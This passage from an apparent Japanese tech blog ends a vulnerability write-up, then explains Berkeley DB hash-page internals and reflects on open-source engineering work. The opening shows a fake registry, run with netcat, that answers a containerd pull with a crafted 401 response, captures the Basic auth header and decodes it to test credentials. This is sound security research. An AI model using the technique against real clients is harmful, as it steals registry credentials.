Accept-Encoding: gzip

まだ認証情報は飛んできていません。攻撃者サーバで401 Unauthorizedを返す必要があります。

401を返す

適当に以下のようなファイルを用意します。

$ cat response.txt
HTTP/1.0 401 Unauthorized
Docker-Distribution-Api-Version: registry/2.0
Www-Authenticate: Basic realm="Registry Realm"

あとはこれをncに渡してレスポンスとして返すようにすればOKです。

$ ( cat response.txt ) | nc -kl 10000

再度ctrでpullをするとまず通常のリクエストが飛んできて、401を返したあと以下のリクエストが来ます。

$ ( cat response.txt ) | nc -kl 10000
...

GET / HTTP/1.1
Host: localhost:10000
User-Agent: containerd/1.2.13
Accept: application/vnd.docker.image.rootfs.diff.tar.gzip, *
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3Jk
Accept-Encoding: gzip

Authorization ヘッダが含まれていることが分かります。

$ echo dGVzdHVzZXI6dGVzdHBhc3N3b3Jk | base64 -d
testuser:testpassword

ということで無事にusername/passwordを取得できました。攻撃者は認証情報を得たのであとは好きにレジストリを操作できます。

余談

この検証自体はすぐに終わってブログも公開しようと思ったのですが、実はこの脆弱性を検証している時に某OSSに別の脆弱性を見つけてしまいました。念のためmasterから落としてきてソースコードを読んでデバッガでも試したのですが、やはり刺さる作りになっていましたし再現しました。そこそこインパクトのあるものでしたし見つけてしまった以上は報告しておくかということで報告したのですが、既知で修正に取り組んでいるとのことでした。じゃあその修正が公開されたらブログも公開しようということでしばらく待っていたのですが、リリースまで時間がかかりそうだったのでそちらの詳細は伏せて先にブログは公開することにしました。

そちらの脆弱性修正がリリースされたらこのブログに追記するかもしれません。

まとめ

よく知らないイメージをpullするだけでも怖いということです

Berkeley DB (Hash) の実装

普段あまりこういう誰の役に立つのか分からない記事は書かないのですが、解析をするまでの背景がOSSに関するとても良い話なので重い腰を上げて書きました。

概要

古のアプリケーション組み込み型のデータベースとしてBerkeley DBがあります。元々はカリフォルニア大学バークレー校によって開発され、その後Oracleによって買収されています。データ操作にSQLは使えず、アプリケーションに埋め込んで使用します。RDBまでは必要ないけどちょっとしたDBが必要みたいな時に使われているようです。機能はシンプルで組み込みのため性能も良いとのこと。詳しくは以下に書いてます。

docs.oracle.com

本記事ではそのBerkeley DBの中身がどのように実装されているのかの雰囲気を記します。Berkeley DBはBtree accessやHash access, Queue/Recno accessなどがサポートされていますが、今回はその中でもHash accessの場合にDBがどのようにデータを保存しているのかを説明しています。恐らくこの内容を知りたい人は日本に数人しかいないと思いますが、自分がすぐ忘れそうなのでメモとして残します。Berkeley DBのライブラリをRustに移植したい!という人がいたら役に立つかもしれません。

Hash accessの中でも必要な処理しか説明していません。ただ、大枠が理解できれば細かいところはBerkeley DBのソースコード読めば理解できるので、まず最初に雰囲気を掴むためには適した内容だと思います。

ソースコードは以下にあります。

github.com

あと上にも書いたように実装はシンプルですし似たような構造になっているDBは多いので、Berkeley DBを触ることが一生なくても知っておくと何か役立つかもしれません。

背景

ただの背景なので読み飛ばして実装に行って良いですが、良い話なので暇なら見てみて下さい。

Red Hat系のOSには /var/lib/rpm/Packages というファイルが存在し、この中にインストールされたRPMパッケージの情報などが保存されています。rpm コマンドや dnf, yum はこのファイルからデータを読み出して表示しているわけですが、このファイルはBerkeley DBになっています。libdb を使えば普通に読み出せるのですが、自分の用途ではGoからこのファイルを読み出す必要がありました。libdb はCで実装されていてGoから使うためには cgo が必要になります。実際ライブラリを見つけたのですがやはり cgo を使っていました。そもそもメンテナンスされていなくてアーカイブされています。

github.com

仕方ないのでforkしていくつか機能を足して使っていたのですが、やはり cgo がネックになりました。色んな環境で動くバイナリを提供したかったのですがcgoのせいでそれが困難になりました。一応頑張ってクロスコンパイル環境を用意したりしたのですが、これを今後メンテナンスすることを考えると負荷が高すぎるなと思ってやめました。

github.com

さらにもう一つ問題がありました。試しに cgo を使って上の /var/lib/rpm/Packages からデータを読みだしたところ、その中の値も何とバイナリになっていました。独自の形式でシリアライズされているという感じです。他のディストリビューションが分かりやすい形式で保存しているのに比べてBerkeley DBを使い、さらにその上に独自フォーマットということでさすがRed Hatだなと思ったりはしたのですが、気合でrpmをリバース・エンジニアリングしました(この話もいつか書くかもしれません)。調べた限りではドキュメントも見つからなかったですし、ソースコードを読んだ方が早いし確実だなということで。

github.com

そしてGoに移植して必要な情報が取り出せるようなライブラリを実装しました。

github.com

さて次はBerkeley DBを倒すぞ〜と意気込んだのですが、本来自分が作りたかったソフトウェアから大分遠のいていることに気づきました。このヤクの毛刈りこそがプログラミングの楽しいところだとは思いつつも、GWの10日間で元々のソフトウェアを完成させたかったのでBerkeley DBのGo移植は一旦断念しました。そして悔し涙を流しながらrpmのOSコマンドを呼び出すように実装しました。Go移植は次の長期休暇に絶対やることとして掲げていたのですが、その直後にイスラエルに引っ越して長期休暇がないまま1.5年が経過しました。イスラエルの祝日はユダヤ暦ベースなので今年はグレゴリオ暦の週末とぶつかってほとんど消滅しました。

ということでずっとしこりとして残っていたのですが、先日Anchoreというセキュリティ企業(自分の務めている企業の競合企業)がSyftGrypeというOSSをリリースしました。

www.opensourceforu.com

このOSSは自分が開発したものと似ているのですが、Red HatRPM実装がどうなっているのか気になりました。そして Syft の中で自分の go-rpmdb をforkしたものを使っていることがわかりました。そのコミットを見ると何とCバインディングを排除することに成功していました!どうやらBerkeley DBのGo移植に成功したようです。おいおいそんな凄いことやったならPRくれよ〜〜〜と思ったのですが、普通に送ってくれていました。

github.com

何かGitHubのWatchingが勝手に外れて通知来ないことがあるんですが自分だけでしょうか...。最近通知に気づけなくて放置になってしまっていることが多くて大変申し訳無い気持ちです。何はともあれせっかくBerkeley DBのGo移植をしてくれたので自分も送ってもらったPRを読みつつlibdbのコードを読みました。その中で得た知識を速攻忘れそうだったので今回まとめておこう、という背景です。

それにしてもこれだけの機能を外部の人、それどころかバリバリの競合企業の社員が実装してPRを送ってくれるなんてOSSは本当に素晴らしいなと思いました。恐らく彼もrpmの解析が面倒で困っていたら既に自分が解析してGo移植済みだったので、それならということで残タスクのBerkeley DB対応をしてくれたのだと思います。助け合いの精神ですね。PRに気づいた時に喜びのあまりドッグランで「う、うおおぉぉぉ!!!」と大声を出してしまいました。イスラエルでは路上で歌ったりしている人も多いのでちょっと大声を出しても変人扱いはされません。

ちなみに実装してくれた人はdiveという有名なツールの開発者です。もしかしたら知らない人もいるかも知れないので宣伝しておきます。GitHubのスター数が23kで化け物ですね。

github.com

彼は最近Anchoreに入社したようです。入社してからSyftやGrype作ったりBerkeley DB移植したりと大活躍です。AnchoreはあまりOSSに力を入れてこなかったので今まで意識していなかったのですが、彼の入社によって今後は脅威となりそうです。

ちなみにGrypeもバージョン比較のためにClair同様自分のライブラリを使っています。

実装

背景で話した感動が一番伝えたかったことなので長くなりましたが、実装の説明に入ります。上にも書きましたがHashのみの話ですし、その中でもTypeがたくさんあるのですが実装に必要なところしか説明しません。

何かドキュメントを読み解いたわけではなくソースコードを読んで解析しただけなので嘘を言っている可能性もあると思いながら見ていただければと思います。

全体

まずDB全体はPage単位で区切られています。それぞれのPageの先頭にはPageのTypeを識別したりするためのHeaderが入っています。

0       PageSize                       LastPageNo * PageSize
+----------+----------+----------+----------------+
|   Page   |          |          |     ......     |
+----------+----------+----------+----------------+

このPageSizeは可変な値で後述するGeneric Metadataの中に含まれています。値は512, 1024, 2048, ... 65536が許されています。512が最小なのは各Access methodのMetadataの最小サイズが512だからです(後で説明します)。そして同様にLastPageNoもMetadata内に含まれており、LastPageNo * PageSizeがDB全体のサイズとなります。

Metadata

上で説明した各PageのHeaderとは別にDBの一番最初にはMetadataが含まれています。こちらは72バイトで固定になっており、ソースコード上で _dbmeta33 として定義されています。Generic Metadataと呼ばれています。

typedef struct _dbmeta33 {
    DB_LSN    lsn;      /* 00-07: LSN. */
    db_pgno_t pgno;     /* 08-11: Current page number. */
    u_int32_t magic;   /* 12-15: Magic number. */
    u_int32_t version; /* 16-19: Version. */
    u_int32_t pagesize;    /* 20-23: Pagesize. */
    u_int8_t  encrypt_alg; /*    24: Encryption algorithm. */
    u_int8_t  type;        /*    25: Page type. */
    ...

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

一番最初のPageに入っているので以下のようになります。

0                 72            PageSize
+------------------+---------------+
| Generic Metadata |               |
+------------------+---------------+

Generic Metadata

Generic Metadataのレイアウトは以下のようになっています。

0       12      16      20       24           25         26  32       36                  72
+--------+-------+-------+--------+------------+----------+---+--------+-------------------+
|        | Magic |       |  Page  | Encryption | PageType |   |  Last  |      .......      |
|        |       |       |  Size  | Algorithm  |          |   | PageNo |                   |
+--------+-------+-------+--------+------------+----------+---+--------+-------------------+

既にお気づきだと思いますが、上の図は雰囲気理解するために書いているので長さとかは適当です。文字数の関係で1バイトのほうが4バイトより長かったりまちまちです。あまり図を信じ過ぎないで下さい。

ここにあるMagicがMagic numberで、最初にDBのAccess methodをを判断するために使われています。Hashの場合は 0x061561 になっています。

#define DB_HASHMAGIC    0x061561

libdb/db.in at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

ところでなぜこのような大きい値が使われているのかよく分かっていません。0,1,2,...などだとDB破損時に隣接したAccess methodと誤って判別されてしまうからなのでしょうか。こういう細かいテクニックは地味ですが重要だと思うので知っている人がいたら教えてほしいです。

Access methodは全部で5種類あるようです。UNKNOWNを入れると6種類。

/*******************************************************
 * Access methods.
 *******************************************************/
/*
 * Any new methods need to retain the original numbering.  The type
 * is written in a log record so must be maintained.
 */
typedef enum {
    DB_BTREE=1,
    DB_HASH=2,
    DB_HEAP=6,
    DB_RECNO=3,
    DB_QUEUE=4,
    DB_UNKNOWN=5           /* Figure it out on open. */
} DBTYPE;

libdb/db.in at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

他にもPageTypeなどが含まれているため、ここでHash metadata pageであること(=P_HASHMETA)を確認したりする必要もあります。

#define P_HASHMETA  8  /* Hash metadata page. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Encryption Algorithmもあることから暗号化にも対応していることが分かります。RPM DBでは暗号化されていない想定なので、この値が0(つまり暗号化されていない)であることを確かめる必要があります。

NextPageNoは後々出てきます。

そして最初の説明に出てきたPageSizeやLastPageNoもここに含まれています。最初の72バイトをパースすることでDBの全体像を最初に掴めるということです。

Magicの話に戻りますが、Access methodごとにMetadataの構造体が用意されており、B-Tree用、Hash用、Heap用、などなど複数存在するのですが、全て先頭72バイトは上のGeneric Metadataになっており73バイト目以降が各method固有の値になります。Hashの場合は以下に _hashmeta33 として定義されています。コメント内にもMinimum page size is 512 と書いてあり最初に述べたように512バイトになっているのが分かると思います。

/************************************************************************
 HASH METADATA PAGE LAYOUT
 ************************************************************************/
typedef struct _hashmeta33 {
    ...

    /*
    * Minimum page size is 512.
    */
} HMETA33, HMETA;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Hash Metadataの場合は以下のようになります。先頭の72バイトは共通で、そこから512バイトまで固有のMetadataになっています。

0                 72                       512
+------------------+------------------------+
| Generic Metadata |    Hash Metadata   ... |
+------------------+------------------------+

B-TreeなどのMetadataも全て512バイトになっています。

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Hash Metadata

最初に説明したようにDBは全てPageで区切られているためHash MetadataであってもPageに含まれています。単に先頭512バイトにHash Metadataがあるということです。

0              512              PageSize
+---------------+------------------+
| Hash Metadata |    ......        |
+---------------+------------------+

Hash Metadataの中身は大きいので割愛します。上のソースコードに書いてある通りです。

Page

最初に述べたように、各PageにはHeaderが含まれています。このHeaderは26バイトなのですが、26バイト目にTypeが含まれています。上のGeneric Metadataの26バイト目もTypeにしてあるなど、1ページ目を特別扱いせずにTypeが判別できるように配置がある程度共通化されています。

0       26                     PageSize
+--------+-------------------------+
| Header |                         |
+--------+-------------------------+

PageのHeaderレイアウトは_db_pageとして定義されています。

typedef struct _db_page {
    DB_LSN    lsn;      /* 00-07: Log sequence number. */
    db_pgno_t pgno;     /* 08-11: Current page number. */
    db_pgno_t prev_pgno;    /* 12-15: Previous page number. */
    db_pgno_t next_pgno;    /* 16-19: Next page number. */
    db_indx_t entries;  /* 20-21: Number of items on the page. */
    db_indx_t hf_offset;    /* 22-23: High free byte page offset. */
    ...
    u_int8_t  level;   /*    24: Btree tree level. */
    u_int8_t  type;        /*    25: Page type. */
} PAGE;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

PageTypeが13の場合はHash pageになります。

#define P_HASH      13 /* Sorted hash page. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

上の定数定義を見ると他にもPageTypeが複数あることが分かりますが、今回はHashがターゲットなのでHash Pageを見ていきます。他のAccess methodに対応したい場合はそれに応じたstructを追っていけば良いです。

ややこしいですが他にもHash Pageという概念が出てくるので、ここではHash Main Pageと呼びます。

Hash Main Page

とは言ってもHeaderのレイアウトは共通で、以下のようになっています。先述したとおり、26バイト目がPageTypeになっています。

       10           20           22                25         26
+-------+------------+------------+-----------------+----------+
|       | NextPageNo | NumEntries |      ...        | PageType |
+-------+------------+------------+-----------------+----------+

NumEntriesはこのページ内に含まれているアイテム数です。Hashなのでkey/valueのペア数になります。このkey/valueはHeader直後などに保存されているわけではなく、基本的にはポインタを辿ってアクセスします。ただややこしいのですが、データサイズが大きい場合はkey/valueの指す先がHashOffPageという形式でさらに別のPageにデータを格納している場合もあります。ポインタのポインタみたいなやつです。

ソースコード上にHash Pageのレイアウトが書いてあったので一応そちらも載せておきます。

/************************************************************************
 BTREE/HASH MAIN PAGE LAYOUT
 ************************************************************************/

+-----------------------------------+
|    lsn    |   pgno    | prev pgno |
+-----------------------------------+
| next pgno |  entries  | hf offset |
+-----------------------------------+
|   level   |   type    |   chksum  |
+-----------------------------------+
|    iv     |   index   | free -->  |
+-----------+-----------------------+
|    F R E E A R E A            |
+-----------------------------------+
|              <-- free |   item    |
+-----------------------------------+
|   item    |   item    |   item    |
+-----------------------------------+

これを見るとlsnやpgnoが同じサイズのように表現されていますがそれぞれ8バイトと4バイトですし、自分の図以上に長さ適当な気がします。

コメントには以下のようにあります。

  • sizeof(PAGE) == 26 bytes + possibly 20 bytes of checksum and possibly
  • 16 bytes of IV (+ 2 bytes for alignment), and the following indices
  • are guaranteed to be two-byte aligned. If we aren't doing crypto or
  • checksumming the bytes are reclaimed for data storage.

key/valueへのポインタが入っているといいましたが、ここではindexと呼ばれています。そしてindexは現在のPage内でのオフセットを指しています。なのでポインタとは異なりますが、一旦ジャンプする必要があるということでポインタとして説明しています。

26バイトのHeaderのあとにchksumivが入り、アラインメントのために2バイトが入ってそのあとにindicesが入るようです。ただし暗号化されていない場合はこれらchksumivは含まれないと思います。ちゃんとソースコード上で見つけてないのですが、中身のバイナリを見る限りでは詰めて値が保存されていました。英語でもpossiblyと言っているので恐らくあってると思うのですが若干自信なしです。

ということで26バイトのMetadataのあとにNumEntries分のkey/valueペアのindexが保存されていることになります。keyとvalueのindexはともに2バイトなので、1ペアにつき4バイトです。つまり、26バイトから26+4*NumEntriesバイトのところまでパースし、2バイトずつ解釈すればkey/valueのindexが得られます。

          26    26+4*NumEntries       PageSize
+----------+---------+-------------------+
| Metadata | Indices |                   |
+----------+---------+-------------------+

上の説明で既にわかったかと思いますが、一応key/valueのレイアウトも載せておきます。

              2             4            6              8          4*NumEntries
+-------------+-------------+-------------+-------------+----------------+
|  Key Index  | Value Index |  Key Index  | Value Index |      ...       |
+-------------+-------------+-------------+-------------+----------------+

このindexは現在のPageの後ろの方に含まれるHash Pageへのポインタとなっています。ソースコードを読む感じだとこのPage全体のことをHash Main Pageと呼び、このPageの中に入っている小さいPageのことをHash Pageと呼んでいそうです。両方Pageと書いてあったので最初かなり混乱しました。つまり以下のような図になります。IndexとIndex2の間は連続しているかはわからないです。

          26   26+2*NumEntries   Index      Index2           PageSize
+----------+---------+-------------+----------+----------+-------+
| Metadata | Indices |             | HashPage | HashPage |  ...  |
+----------+---------+-------------+----------+----------+-------+

このHash Pageのところにkey/valueの値が入っているということになります。

Hash Page

Hash Pageについてのレイアウトはソースコード上にありました。

 *   +-----------------------------------+
 *  |    type   | key/data ...          |
 *  +-----------------------------------+

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

最初の1バイトがTypeになっており、この値を見て判断します。Typeは以下のようなものがあります。

/* Each index references a group of bytes on the page. */
#define    H_KEYDATA   1  /* Key/data item. */
#define    H_DUPLICATE 2  /* Duplicate key/data item. */
#define    H_OFFPAGE   3  /* Overflow key/data item. */
#define    H_OFFDUP    4  /* Overflow page of duplicates. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

上では自分が慣れているkey/valueという呼び方をしていましたが、Berkeley DB上ではkey/dataと呼ばれています。H_KEYDATA の場合は実際のデータがそのHash Page内に含まれているため、2バイト目のデータ長を使ってデータを取り出せるようになっています。

typedef struct _hkeydata {
    u_int8_t  type;        /*    00: Page type. */
    u_int8_t  data[1];    /* Variable length key/data item. */
} HKEYDATA;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

そして上のType内に H_OFFPAGE がありますが、これはOverflowと書いてあることから察するようにHash Pageで表現できないような値を保存するためのTypeになります。どちらかと言うとこちらがメインです。

Hash Off Page

Hash Off Pageは _hoffpage というstructで定義されています。pgnoというのが重要で、これは値が実際に保存されているPageの番号になります。ここでいうPageはMain Page相当のもので、現在のHash Main Pageの外側にあるということになります。

typedef struct _hoffpage {
    u_int8_t  type;        /*    00: Page type and delete flag. */
    u_int8_t  unused[3];  /* 01-03: Padding, unused. */
    db_pgno_t pgno;     /* 04-07: Offpage page number. */
    u_int32_t tlen;        /* 08-11: Total length of item. */
} HOFFPAGE;

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

つまり以下の図のようにDBの先頭から見た際にpgno * PageSizeの場所に求めているHashのkey/dataが保存されているということです。

0                 pgno*PageSize        LastPageNo * PageSize
+----------+----------+----------+----------------+
|   Page   |          | HashPage |     ......     |
+----------+----------+----------+----------------+

Hash Main Page (Overflow)

pgno * PageSizeの場所を読めばいいのですが、ここに保存されているのは上で説明したHash Main Pageと同じレイアウトです。ただし、Typeが P_OVERFLOW になっています。

/* Page types. */
...
#define P_OVERFLOW  7   /* Overflow. */

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

Overflow Pageのレイアウトについての説明は以下にありますが、Headerの後ろにデータがあるだけのシンプルなものです。

libdb/db_page.h at 5b7b02ae052442626af54c176335b67ecc613a30 · berkeleydb/libdb · GitHub

図にすると以下のようになります。

        26                     PageSize
+--------+-------------------------+
| Header |        key/data         |
+--------+-------------------------+

ただし、データサイズが大きいとこのPageでも収まらないかもしれません。そういう場合にHeader内にはNextPageNoが含まれています。上の方の図で出てきましたがまだ使われていませんでした。このNextPageNoPGNO_INVALID(=0)の場合はそのPageが最後になりますが、0以上の値が入っている場合はそちらのPageにも続きのデータが入っているのでそちらのPageに含まれるデータもパースして結合する必要があります。

PGNO_INVALIDの場合はデータが途中で終わっているということなので、Header内に含まれるFreeAreaOffsetを使ってデータの長さ分を取り出します。

ということでデータが取り出せたので終了です。

処理の流れ

改めてHash accessでデータを取り出すまでの流れを簡略化したものを説明します。

  1. 先頭512バイトのHash Metadata(そのうちの72バイトがGeneric Metadata)をパースし、Magic, PageSize, Encryption Algorithm, PageType, LastPageNoを取得する
  2. Magic numberを見てHash accessであることを確認。異なれば終了。
  3. 1ページ目は上のMetadata用なので2ページ目(2 * PageSize)から最後のページ(LastPageNo * PageSize)をパースする
    1. Pageの先頭26バイトにHeaderが入っているのでパースし、26バイト目のPageTypeを確認する
    2. PageTypeがHash Main PageならNumEntriesを取り出す。異なればskip。
    3. NumEntriesはkey/dataのペア数を指しており、Headerの後ろにkey/dataの実際の値へのindexが保存されている
      1. Indicesの処理
        1. keyとdataのindexは2バイトでペアで4バイトになっているので、Headerの後ろから4 * NumEntriesを取り出す
        2. 2バイトずつkey, dataそれぞれのIndexとして解釈する
      2. Hash Pageの処理
        1. このIndexは現在のPage内のオフセットになっているため、そのオフセット分ずらしてHash Pageを読み込む
        2. 先頭1バイトがHash PageのTypeとなっているためその値を見て処理を変える
        3. H_KEYDATAであれば実際の値がそのHash Pageに入っているので、lengthを取得してその後ろのデータを読み込む
        4. H_OFFPAGEであればさらに別のPageに実際の値が入っているため、5バイト目から4バイト読み込みPage番号(pgno)を取得する
        5. Hash Off Pageの処理
          1. pgno * PageSizeの位置にあるHash Pageを読み込み、TypeがP_OVERFLOWであることを確認する
          2. 先程同様に先頭の26バイトがHeaderなので読み込みNextPageNoの値を確認する
          3. NextPageNoPGNO_INVALIDならそのPageが最後なのでHeaderの後ろからFreeAreaOffset分読み込み値とする
          4. NextPageNoに値入っている場合は後ろにPageが続くため、Headerの後ろからPageの最後まで読み込みNextPageNoの指すPageも同様に読み込み値を結合する
          5. NextPageNoが空でない限り繰り返す
  4. ここまででページを1つ処理出来たので次のページに移動して繰り返す

書いてみましたが自分で改めて読むと文字だけだとさっぱり意味わからないですね。上の図を見ながらだと分かるかと思います。

まとめ

伝えたかったのは背景に書いた良い話であとの内部実装は蛇足です。

とはいえ他の小さいDBも似たような実装になっていることが多いので、雰囲気だけでも知っておくと今後何かのDBのソースコード解析をする際に役立つかもしれません。また、Berkeley DBを他の言語に移植したい人も役立ててください。

OSSエンジニアを1年やってみた所感

最近脆弱性の話とか本業と一切関係ないことを書いていたので、今回は本業に関する話です。

2019/08/01にOpen Source Engineerという肩書になってから既に1年が経過しました。そういうポジションの人はまだ日本では少ないんじゃないのかなと思ったので何か参考になればと所感を書いておきます。ちなみに最初の頃Open Source Software Engineerが正しいんじゃないのかな、とか気になってたのですがみんな細かいこたぁ良いんだよっていうスタイルなので自分も細かいことをうだうだ言うのはやめました。

単に今の所属企業でたった1年やってみた上での感想なので、全然一般的な話ではありません。ベンチャーならではの話も多いので大企業ではまた異なると思います。それでもOSS開発を業務として行うことに興味がある人がいれば読んでもらえればと何かしらはプラスになると信じて書いてます。せっかく色々と学びを得たことだし、とちょくちょくメモしてたやつを全部1つの記事に書いてたら例によって長くなったので、OSSに興味ない人はそっと閉じて下さい。

以下でも書いてますが本当に個人の感想なので必ずしも共感されると思ってはいません。そういう気持ちの人もいるんだなという参考程度に考えていただきたいです。

その前に少し前提を書いておきます。

前提

OSSって何?とかはググれば出るので説明しません。また、OSSへの貢献はハードル低いのでやってみましょうとかも本記事の対象じゃないです。単純にOSS開発を生業にすることの所感を書いています。

そもそも何でお前はそんな仕事してるんだっていうのは過去に書いてあります。

knqyf263.hatenablog.com

あと自分は既に社会人を5年ほど経験していますが、インフラやセキュリティを主な仕事としていたためプログラムを毎日書くような開発者として働き始めたのは今の会社に来てからです。そのため、普段からプロダクト開発をしている人からすると「それはOpen Source Engineerに限った話じゃない」とかもあると思いますが、こいつ経験がないから知らないんだなと思ってもらえれば幸いです。

逆に言うとそれぐらいプロダクト開発に疎い人間でも何とかやれているので、ある程度コードが書ければ務まるポジションなんじゃないかなとも思っています。

所感

ということで感じていることを適当に羅列します。

楽しい

まずはこれにつきます。OSSということで基本的には直接ユーザに使われるものではなく、技術者に使われることがメインです。そのため、ソフトウェアエンジニアに使われるものを作るのが好きな人にとっては最高に楽しいと思います。自分の場合は学生時代にエンドユーザ向けのサービスにいくつか携わらせてもらった結果、一般の人達に使われるものを作ることに楽しみを見出せない人間であることを知りました。そのためネットワークやセキュリティなど裏方というか直接エンドユーザの目の触れない部分に楽しみを見出して生きてきたのですが、OSSもサービスを裏方で支える重要な要素の一つであることに気付きました。

そこでOSS開発を趣味で始めたのですが、自分の作ったソフトウェアが世界中の人から感謝されたり、所属組織も異なる開発者達と共に開発するというのが何にも代えがたい経験であると感じました。国境も会社も越えて一緒に何か一つのことを目指すような活動を自分は他に知りません。

これは仕事としてOSSに携わったとしても変わりません。毎日楽しくて仕方ないという感じです。ただエンドユーザに何かサービスを提供して生活を変えたい...!!という思いが強い人も多いと感じているので、万人にとって楽しいかというとそんなことはないかと思います。ですがOSS活動を休日に趣味でやるぐらい楽しめる人にとっては天職だと思います。

そもそもOpen Source Engineerというポジションの募集がほとんどないという現状がありますが、 GitHub Sponsors によってOSS活動でお金を貰えるようになってきていますし、BoostIOの横溝さんのようにOSSで生きていくエンジニアを増やそうと意欲的に活動していらっしゃる方もいるので少しずつこういったポジションも増えていくのではないかと期待しています。

codezine.jp

やりがいがある

そもそも上の楽しさも一部やりがいから来ています。自分が趣味で作り始めたOSSは現時点では知名度があるとはまだお世辞にも言えないのですが、企業でメンテナンスを続けさせてもらえることになり機能を色々追加していった結果、誰もが知っている大企業や政府のプロジェクトで採用されていたりします(公には言えないやつですが)。そしてMicrosoftが自分の作ったOSSを使ったGitHub Actionを公開したり、イギリス政府のブログAWSブログ に載ったりもしています。このように色々な国の色々な企業から認知されていると思うと何かしらの脳内物質が出ます。ブログ読みながら白飯2杯ぐらいいけます。つまりおかず代が浮くので節約にもなります。

他にも有名なOSSの内部で使われたり有名な製品内部で使われたりというのも本当に嬉しいです。

www.infoq.com

GrafanaなどのOSSのCIでも使われていますし、先日のKubeCon Europe 2020でも色んな発表で名前を出してもらっていました。

毎日仕事を頑張るだけでどんどん認知され広く利用されていくのはやりがい以外の何物でもないかなと思っています。巨大OSSにコントリビュートしてメンテナーとして頑張るというのももちろん最高に楽しいと思いますし、自分のように個人で始めたOSSを育てていくのも楽しいです。自分も元々は既存のOSSに貢献して満足していたのですが、やはり元々作った人の存在感というのは大きいですし(Linuxだとリーナスだったり)大きいOSSだとあまり個人云々という感じでもないなと思い、段々個人で何か開発したい気持ちが強くなりました。

その結果自分で作ってみて今に至るのですが、上のInfoQの記事のように個人名で載りますし利用事例が公開された際の喜びは一入かなと思います。もちろん0→1が得意な人、1→10が得意な人、10→100が得意な人、またはそれぞれのフェーズが好きな人、がいるので必ずしも個人で作るのが良いとは全く思いません。多くの人で協調して大きな物(LinuxだったりKubernetesだったり)を作るのも当然楽しいです。

いずれにせよそういった活動を楽しめる人にとっては仕事というよりは趣味といった感覚で毎日を過ごせるので本当に幸せになれると思います。自分も仕事という意識はあまりないですし、運を使い果たしてそろそろ死ぬのかもな...と思ってます。

作ったOSSが広く使われると嬉しいという話をしましたが、一方で恐らく一生ソフトウェアエンジニア以外にその貢献が知られることはありません。IT業界以外の友人にLinuxの開発者を聞いても間違いなく知らないと思いますし、何ならLinuxの存在も知らない可能性が高いです。

自分としてはそういったIT業界以外の人は誰も知らないけど誰もが使うようなものの内部で動いているソフトウェアの開発者といった肩書の方がかっこいいと思うのですが、中にはそれの何が楽しいの?と感じる人もいると思います。そういう人には本当にオススメしないです。Open Source EngineerというポジションからFacebookザッカーバーグになることはないです。起業して何かサービスを作るほうが良いです。

実績になる

OSSに携わっている人が優秀かというと必ずしもそんなことはないと思っていますが、少なくともOSSとして自分のコードが公開されているため実績として分かりやすいというのは利点かと思います。例えば就職/転職活動の時に職務履歴書を頑張って書かなくても自分のGitHubアカウントを渡すだけで終了したりします。つまりOSS活動が名刺代わりになるので多くを語らずに済むようになります。

実際今の会社に入る際も一切履歴書を書いていません。自分の採用を決めたCTOは自分が何歳で、どこの大学を出ていて、どういう企業で働いてきて、どういう仕事をやってきたのか、ということを全く聞きませんでした。「あのOSS作ったんだろ?それ以外は別に知らなくて良い」という感じでした。純日本企業育ちの自分としては年齢すら聞かないというのはなかなか痺れました。逆に自分としてはもっと過去の実績を色々伝えたいと思って寂しくなったぐらいでしたが、こっちではいわゆるジョブ型雇用が一般的なのでそのポジションで必要とされるスキル以外については知る必要がないのかと思います。ジョブ型雇用のように仕事に見合った人材を登用するのとは反対に日本のメンバーシップ型雇用では人を見て仕事を振るため、その人の経歴などが重要になります。教育という観点ではメンバーシップ型も悪くないと思いますが、既に何か得意分野・または興味のある分野を持つ技術者にとってはジョブ型の方が幸せになりそうです。

www.businessinsider.jp

ただ採用する側としては有名なOSSのコントリビューターだから、といった理由のみで採用するのは危険だと思います。せっかくコードや発言が公開されてるので具体的な活動まで踏み込んで確認することをおすすめします。実際にどの機能を開発したのか、とかレビュー時の他の開発者とのやり取りとか、はOSS活動から読み取れると思いますし、プログラム書くのは得意でもプロダクト開発には向いてないケースとかもあるのでやはりその人の考え方などは面接等で確認したほうが良いと思います。

実績になるのは事実ですが、それだけで判断するのは怖いかなという感じです。自分の極端な例を出しておいてなんですが。

得意な形でアウトプットできる

上で書いた実績の話と似てるのですが、OSS開発をすることでそれがそのままアウトプットになります。ソフトウェアエンジニアにとってアウトプットは重要というのはよく話題になることですが、登壇やブログ・本の執筆などが挙げられることが多いように感じます。もちろんそういった登壇やコミュニティ活動というのは重要なのですが、自分のようにそういう活動が得意ではない人もいます。

嫌いなわけではないので声かけていただいたら喜んで発表等するのですが、自ら進んで志願するほどではないという感じです。ナッツとか誰かから貰ったら美味しく食べますが自分で買うほどではないです(?)。

不得意なことを頑張って改善するよりは得意を伸ばしたほうが良いのではないかと考えているため、OSS開発が得意な人はそちらでアウトプットすれば十分だと思っています。もちろん何が得意かは人次第なので登壇が得意な人は登壇を続ければ良いし、ブログ書くのが得意ならそこで頑張れば良いです。自分が言いたいのは他の人が登壇しているから自分も登壇してアウトプットしなきゃ、と焦る必要はなくて得意な方法でアウトプットすれば良いということです。

OSSはその手段の一つとして使えるので、他の方法によるアウトプットが苦手な方にもおすすめです。

勉強になる

